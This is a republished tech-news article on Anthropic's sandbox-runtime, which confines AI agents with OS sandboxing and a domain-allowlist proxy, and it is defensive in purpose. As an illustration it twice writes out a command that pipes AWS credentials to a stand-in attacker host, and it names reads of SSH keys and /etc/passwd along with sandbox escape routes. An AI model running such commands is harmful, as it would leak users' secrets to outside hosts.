{"slug": "anthropic-sandbox-runtime-os-level-agent-sandboxing-without-containers", "title": "Anthropic Sandbox Runtime: OS-Level Agent Sandboxing Without Containers", "summary": "Anthropic released sandbox-runtime, a beta research preview that lets Claude Code and other agents execute arbitrary code under OS-level sandboxing without containers or VMs. The tool uses sandbox-exec on macOS and bubblewrap on Linux for syscall and filesystem restrictions, plus a local HTTP/HTTPS proxy that enforces a domain allowlist by inspecting SNI without decrypting traffic. It has drawn 6,591 GitHub stars, though the Linux implementation lacks the real-time violation logging available on macOS.", "body_md": "Anthropic released sandbox-runtime as a beta research preview for Claude Code. It addresses a specific problem: how do you let an agent execute arbitrary code without letting it read your SSH keys or phone home to attacker-controlled domains?\n\nThe tool uses native OS sandboxing primitives (sandbox-exec on macOS, bubblewrap on Linux) plus proxy-based network filtering. No containers. No VMs. Just syscall interception and policy enforcement at the process boundary.\n\nIt's trending at #5 on GitHub TypeScript with 6,591 stars because every production agent deployment faces the same question: what happens when the LLM decides to run `curl attacker.com < ~/.aws/credentials`?\n\nSandbox-runtime wraps a target process with OS-level restrictions. On macOS it invokes `sandbox-exec` with a compiled sandbox profile. On Linux it uses `bubblewrap` to create a restricted namespace. Both mechanisms intercept syscalls and enforce policy before the kernel grants access.\n\nThe network layer is different. Instead of syscall interception, sandbox-runtime runs a local HTTP/HTTPS proxy. The sandbox policy forces all network traffic through this proxy, which checks requests against an allowlist. Blocked domains return connection errors. Allowed domains pass through.\n\nFilesystem restrictions work at the path level. You specify read/write permissions for directories and individual files. The OS sandbox enforces these rules. Attempts to access restricted paths return `EPERM` (Operation not permitted).\n\nUnix socket access is controlled separately. You can allow specific socket paths (like Docker's `/var/run/docker.sock`) or block all IPC.\n\nThe macOS and Linux implementations differ in expressiveness and observability.\n\n**macOS (sandbox-exec)**\n\n**Linux (bubblewrap)**\n\n`--ro-bind`, `--dev /dev`, `--unshare-net`\n| Feature | macOS (sandbox-exec) | Linux (bubblewrap) | \n|---|---|---|\n| Syscall interception | Kernel extension | Namespaces + seccomp | \n| Policy language | SBPL (Scheme-like) | CLI flags | \n| Network filtering | Proxy + policy | Proxy + unshare-net | \n| Violation logging | Real-time via log store | Silent failures | \n| Granularity | Per-file, per-syscall | Per-mount, per-namespace | \n| Debugging | Built-in violation monitor | Requires strace | \n\nThe violation monitoring gap on Linux is significant. On macOS, if an agent tries to read `/etc/passwd`, you get an immediate log entry with the process ID, path, and timestamp. On Linux, the read fails but you won't know unless you're already tracing the process.\n\nThe network allowlist is enforced by a local HTTP/HTTPS proxy. The sandbox policy routes all HTTP traffic to `127.0.0.1:PORT`. The proxy checks the target domain against the allowlist before forwarding.\n\nFor HTTPS, the proxy performs a CONNECT tunnel. It inspects the SNI (Server Name Indication) in the TLS handshake to extract the hostname, then applies the allowlist. The proxy does not decrypt traffic. It only sees the destination.\n\nNon-HTTP protocols (SSH, database connections, raw TCP) are blocked by default unless you explicitly allow the destination in the network policy. The proxy cannot inspect these protocols, so the allowlist is IP-based.\n\nExample network policy:\n\n```\n{\n  \"allowedDomains\": [\"anthropic.com\", \"*.github.com\"],\n  \"allowedIPs\": [\"192.168.1.100\"]\n}\n```\n\nThis allows HTTP/HTTPS to `anthropic.com` and any GitHub subdomain, plus raw TCP to `192.168.1.100`. Everything else is blocked.\n\nA common use case is wrapping Model Context Protocol servers. MCP servers expose tools to agents (filesystem access, database queries, API calls). Without sandboxing, a compromised or misbehaving agent can abuse these tools.\n\nUnsandboxed MCP server config:\n\n```\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\"]\n    }\n  }\n}\n```\n\nSandboxed version:\n\n```\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"srt\",\n      \"args\": [\n        \"--allow-read\", \"/workspace\",\n        \"--allow-write\", \"/workspace/output\",\n        \"--network-allowlist\", \"api.internal.com\",\n        \"npx\", \"-y\", \"@modelcontextprotocol/server-filesystem\"\n      ]\n    }\n  }\n}\n```\n\nNow the MCP server can only read `/workspace`, write to `/workspace/output`, and make network requests to `api.internal.com`. Attempts to access `/etc/passwd` or `curl attacker.com` fail at the OS level.\n\nThe macOS implementation includes a violation monitor that tails the system sandbox log. When a sandboxed process attempts a blocked operation, the kernel writes an entry to `/var/log/system.log` (or the unified logging system on newer macOS versions).\n\nThe monitor parses these entries in real-time and emits structured events:\n\n```\n{\n  \"type\": \"violation\",\n  \"pid\": 12345,\n  \"operation\": \"file-read\",\n  \"path\": \"/Users/user/.ssh/id_rsa\",\n  \"timestamp\": \"2026-10-25T20:05:42Z\"\n}\n```\n\nThis is critical for debugging agent behavior. You can see exactly what the agent tried to do and why it failed. On Linux, you only see the failure in the agent's stderr (if it logs errors at all).\n\nSandbox-runtime is stateless. Each invocation creates a new sandbox, runs the command, and exits. There's no daemon, no persistent state, no cleanup required.\n\nThe sandbox policy is compiled at runtime from the CLI flags or config file. On macOS, this generates an SBPL profile and passes it to `sandbox-exec`. On Linux, it translates to `bubblewrap` flags.\n\nThe sandboxed process inherits the parent's environment variables and working directory unless you override them. This makes it easy to drop into existing workflows: just prefix your command with `srt`.\n\nExit codes pass through. If the sandboxed command exits with code 1, `srt` exits with code 1. This preserves shell scripting semantics.\n\n**Proxy bypass**: If the sandboxed process can bind to a network interface directly (because you didn't restrict network namespaces tightly enough), it can bypass the proxy. On Linux, always use `--unshare-net` to isolate the network namespace.\n\n**Filesystem escape**: Symlinks can escape the sandbox if you allow write access to a directory that contains symlinks pointing outside the allowed paths. The OS follows the symlink and enforces policy on the target, but if the symlink is writable, an attacker can redirect it.\n\n**Resource exhaustion**: The sandbox does not enforce CPU, memory, or disk quotas. A sandboxed process can still fork-bomb, allocate all available RAM, or fill the disk. Use cgroups (Linux) or launchd limits (macOS) for resource control.\n\n**Violation log flooding**: On macOS, a misbehaving process can generate thousands of violation log entries per second. The monitor buffers these in memory. If the buffer fills, older entries are dropped. You need external log aggregation for high-volume scenarios.\n\nSyscall interception adds latency. On macOS, sandbox-exec adds roughly 5-10 microseconds per syscall. On Linux, bubblewrap's namespace overhead is similar but varies by kernel version.\n\nThe proxy adds one RTT (round-trip time) to every HTTP request: the sandboxed process connects to the proxy, the proxy checks the allowlist, then the proxy connects to the target. For localhost connections this is negligible. For remote APIs it's noise compared to network latency.\n\nFilesystem operations are the bottleneck. If your agent reads thousands of small files, the per-syscall overhead compounds. Batch operations (like reading a directory tree into memory) are faster than individual file reads.\n\nContainers (Docker, Podman) provide stronger isolation but higher overhead. You need a container runtime, image layers, and network bridging. Startup time is hundreds of milliseconds. Disk usage is gigabytes.\n\nSandbox-runtime starts in milliseconds and uses zero disk space. The tradeoff is weaker isolation. A kernel exploit in the sandboxed process can escape to the host. Containers add a hypervisor or seccomp-bpf layer that makes escape harder.\n\nUse sandbox-runtime when:\n\n`/workspace` but deny `/workspace/.env`)\nUse containers when:\n\nSandbox-runtime is a sharp tool for a specific job: enforcing least-privilege on agent processes without the overhead of containers. It's ideal for local development, CI pipelines, and single-tenant agent deployments where you control the host.\n\nThe macOS implementation is more mature. Real-time violation monitoring and fine-grained SBPL policies make debugging straightforward. The Linux implementation works but lacks observability. You'll need to add your own logging and tracing.\n\nAvoid this if you're running untrusted code from the internet or need multi-tenant isolation. The OS-level sandbox is not a security boundary against determined attackers. It's a guardrail to prevent accidents and limit blast radius.\n\nThe proxy-based network filtering is clever but fragile. It only works for HTTP/HTTPS and requires careful configuration to avoid bypasses. If your agent needs to connect to databases, message queues, or other non-HTTP services, you'll need IP-based allowlists and tight namespace isolation.\n\nFor production agent deployments, combine sandbox-runtime with other layers: run it inside a VM or container for defense-in-depth, add resource limits via cgroups, and ship violation logs to a SIEM for anomaly detection.", "url": "https://wpnews.pro/news/anthropic-sandbox-runtime-os-level-agent-sandboxing-without-containers", "canonical_source": "https://dev.to/mech_app_ai/anthropic-sandbox-runtime-os-level-agent-sandboxing-without-containers-21kj", "published_at": "2026-10-25 20:07:11+00:00", "updated_at": "2026-10-25 20:13:28.293444+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "ai-tools", "developer-tools", "agent-protocols"], "entities": ["Anthropic", "Claude Code", "sandbox-runtime", "sandbox-exec", "bubblewrap", "GitHub", "Model Context Protocol"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/anthropic-sandbox-runtime-os-level-agent-sandboxing-without-containers", "markdown": "https://wpnews.pro/news/anthropic-sandbox-runtime-os-level-agent-sandboxing-without-containers.md", "text": "https://wpnews.pro/news/anthropic-sandbox-runtime-os-level-agent-sandboxing-without-containers.txt", "jsonld": "https://wpnews.pro/news/anthropic-sandbox-runtime-os-level-agent-sandboxing-without-containers.jsonld"}}